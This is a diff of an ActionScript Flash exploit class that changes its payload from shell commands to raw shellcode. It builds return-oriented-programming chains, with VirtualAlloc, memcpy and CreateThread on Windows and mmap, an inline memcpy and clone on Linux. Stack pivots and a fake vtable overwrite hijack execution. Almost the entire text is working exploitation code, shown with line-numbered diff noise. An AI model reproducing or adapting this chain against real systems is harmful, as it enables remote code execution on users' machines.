9
9
private var exploit: Exploit
10
10
private var ev: ExploitVector
11
11
private var eba: ExploitByteArray
12
- private var payload: String
12
+ private var payload: ByteArray
13
13
private var platform: String
14
14
private var pos: uint
15
15
private var byte_array_object: uint
@@ -25,7 +25,7 @@ package
25
25
private var payload_space: Vector .< uint > = new Vector .< uint > (0x6400 )
26
26
private var spray: Vector .< Object > = new Vector .< Object > (89698 )
27
27
28
- public function Exploiter (exp :Exploit , pl :String , p : String , uv :Vector .<uint>):void
28
+ public function Exploiter (exp :Exploit , pl :String , p : ByteArray , uv :Vector .<uint>):void
29
29
{
30
30
exploit = exp
31
31
payload = p
@@ -147,11 +147,16 @@ package
147
147
var pe: PE = new PE (eba)
148
148
var flash: uint = pe. base (vtable)
149
149
var winmm: uint = pe. module ("winmm.dll" , flash)
150
- var kernel32: uint = pe. module ("kernel32.dll" , winmm)
150
+ var kernel32: uint = pe. module ("kernel32.dll" , winmm)
151
+ var ntdll: uint = pe. module ("ntdll.dll" , kernel32)
151
152
var virtualprotect: uint = pe. procedure("VirtualProtect" , kernel32)
152
153
var winexec: uint = pe. procedure("WinExec" , kernel32)
154
+ var virtualalloc: uint = pe. procedure("VirtualAlloc" , kernel32)
155
+ var createthread: uint = pe. procedure("CreateThread" , kernel32)
156
+ var memcpy: uint = pe. procedure("memcpy" , ntdll)
153
157
var xchgeaxespret: uint = pe. gadget("c394" , 0x0000ffff , flash)
154
158
var xchgeaxesiret: uint = pe. gadget("c396" , 0x0000ffff , flash)
159
+ var addespcret: uint = pe. gadget("c30cc483" , 0xffffffff , ntdll)
155
160
156
161
// Continuation of execution
157
162
eba. write(buffer + 0x10 , "\x b8" , false ); eba. write(0 , vtable, false ) // mov eax, vtable
@@ -169,17 +174,35 @@ package
169
174
eba. write(0 , virtualprotect)
170
175
171
176
// VirtualProtect
172
- eba. write(0 , winexec )
177
+ eba. write(0 , virtualalloc )
173
178
eba. write(0 , buffer + 0x10 )
174
179
eba. write(0 , 0x1000 )
175
180
eba. write(0 , 0x40 )
176
181
eba. write(0 , buffer + 0x8 ) // Writable address (4 bytes)
177
182
178
- // WinExec
179
- eba. write(0 , buffer + 0x10 )
183
+ // VirtualAlloc
184
+ eba. write(0 , memcpy)
185
+ eba. write(0 , 0x70000000 )
186
+ eba. write(0 , 0x4000 )
187
+ eba. write(0 , 0x1000 | 0x2000 ) // MEM_COMMIT | MEM_RESERVE
188
+ eba. write(0 , 0x40 ) // PAGE_EXECUTE_READWRITE
189
+
190
+ // memcpy
191
+ eba. write(0 , addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
192
+ eba. write(0 , 0x70000000 )
180
193
eba. write(0 , payload_address + 8 )
181
- eba. write(0 )
194
+ eba. write(0 , payload . length )
182
195
196
+ // CreateThread
197
+ eba. write(0 , createthread)
198
+ eba. write(0 , buffer + 0x10 ) // return to fix things
199
+ eba. write(0 , 0 )
200
+ eba. write(0 , 0 )
201
+ eba. write(0 , 0x70000000 )
202
+ eba. write(0 , 0 )
203
+ eba. write(0 , 0 )
204
+ eba. write(0 , 0 )
205
+
183
206
eba. write(main, stack_address + 0x18000 ) // overwrite with fake vtable
184
207
exploit. toString () // call method in the fake vtable
185
208
}
@@ -192,6 +215,8 @@ package
192
215
var libc: Elf = new Elf(eba, feof)
193
216
var popen: uint = libc. symbol("popen" )
194
217
var mprotect: uint = libc. symbol("mprotect" )
218
+ var mmap: uint = libc. symbol("mmap" )
219
+ var clone : uint = libc. symbol("clone" )
195
220
var xchgeaxespret: uint = flash. gadget("c394" , 0x0000ffff )
196
221
var xchgeaxesiret: uint = flash. gadget("c396" , 0x0000ffff )
197
222
var addesp2cret: uint = flash. gadget("c32cc483" , 0xffffffff )
@@ -204,9 +229,23 @@ package
204
229
// 2) Recover original stack
205
230
eba. write(0 , "\x 87\x f4\x c3" , false ) // xchg esp, esi
206
231
232
+ // my_memcpy
233
+ eba. write(buffer + 0x60 , "\x 56" , false ) // push esi
234
+ eba. write(0 , "\x 57" , false ) // push edi
235
+ eba. write(0 , "\x 51" , false ) // push ecx
236
+ eba. write(0 , "\x 8B\x 7C\x 24\x 10" , false ) // mov edi,[esp+0x10]
237
+ eba. write(0 , "\x 8B\x 74\x 24\x 14" , false ) // mov esi,[esp+0x14]
238
+ eba. write(0 , "\x 8B\x 4C\x 24\x 18" , false ) // mov ecx,[esp+0x18]
239
+ eba. write(0 , "\x F3\x A4" , false ) // rep movsb
240
+ eba. write(0 , "\x 59" , false ) // pop ecx
241
+ eba. write(0 , "\x 5f" , false ) // pop edi
242
+ eba. write(0 , "\x 5e" , false ) // pop esi
243
+ eba. write(0 , "\x c3" , false ) // ret
244
+
245
+ // eba.write(buffer + 0x10, "\xcc\xcc\xcc\xcc", false)
246
+
207
247
// Put the popen parameters in memory
208
- eba. write(payload_address + 8 , 'r' , true ) // type
209
- eba. write(payload_address + 0xc , payload, true ) // command
248
+ eba. write(payload_address + 0x8 , payload, true ) // false
210
249
211
250
// Put the fake stack/vtable on memory
212
251
eba. write(stack_address + 0x18024 , xchgeaxespret) // Initial gadget, stackpivot
@@ -221,13 +260,49 @@ package
221
260
eba. write(0 , buffer) // addr
222
261
eba. write(0 , 0x1000 ) // size
223
262
eba. write(0 , 0x7 ) // PROT_READ | PROT_WRITE | PROT_EXEC
224
- // Return to popen()
225
- eba. write(stack_address + 0x18068 , popen)
263
+
264
+ // Return to mmap()
265
+ eba. write(stack_address + 0x18068 , mmap)
266
+ // Return to stackpivot (jmp over mmap parameters)
267
+ eba. write(0 , addesp2cret)
268
+ // mmap() code segment arguments
269
+ eba. write(0 , 0x70000000 ) // 0x70000000
270
+ eba. write(0 , 0x4000 ) // size
271
+ eba. write(0 , 0x7 ) // PROT_READ | PROT_WRITE | PROT_EXEC
272
+ eba. write(0 , 0x22 ) // MAP_PRIVATE | MAP_ANONYMOUS
273
+ eba. write(0 , 0xffffffff ) // filedes
274
+ eba. write(0 , 0 ) // offset
275
+
276
+ // Return to mmap()
277
+ eba. write(stack_address + 0x1809c , mmap)
278
+ // Return to stackpivot (jmp over mmap parameters)
279
+ eba. write(0 , addesp2cret)
280
+ // mmap() stack segment arguments
281
+ eba. write(0 , 0x70008000 ) // NULL
282
+ eba. write(0 , 0x10000 ) // size
283
+ eba. write(0 , 0x7 ) // PROT_READ | PROT_WRITE | PROT_EXEC
284
+ eba. write(0 , 0x22 ) // MAP_PRIVATE | MAP_ANONYMOUS
285
+ eba. write(0 , - 1 ) // filedes
286
+ eba. write(0 , 0 ) // offset
287
+
288
+ // Return to memcpy()
289
+ eba. write(stack_address + 0x180d0 , buffer + 0x60 )
290
+ // Return to stackpivot (jmp over memcpy parameters)
291
+ eba. write(0 , addesp2cret)
292
+ // memcpy() parameters
293
+ eba. write(0 , 0x70000000 )
294
+ eba. write(0 , payload_address + 0x8 )
295
+ eba. write(0 , payload. length )
296
+
297
+ // Return to clone()
298
+ eba. write(stack_address + 0x18104 , clone )
226
299
// Return to CoE (fix stack and object vtable)
227
300
eba. write(0 , buffer + 0x10 )
228
- // popen() argument
229
- eba. write(0 , payload_address + 0xc )
230
- eba. write(0 , payload_address + 8 )
301
+ // clone() arguments
302
+ eba. write(0 , 0x70000000 ) // code
303
+ eba. write(0 , 0x7000bff0 ) // stack
304
+ eba. write(0 , 0x00000100 ) // flags CLONE_VM
305
+ eba. write(0 , 0 ) // args
231
306
232
307
//call DWORD PTR [eax+0x24]
233
308
//EAX: 0x41414141 ('AAAA')
0 commit comments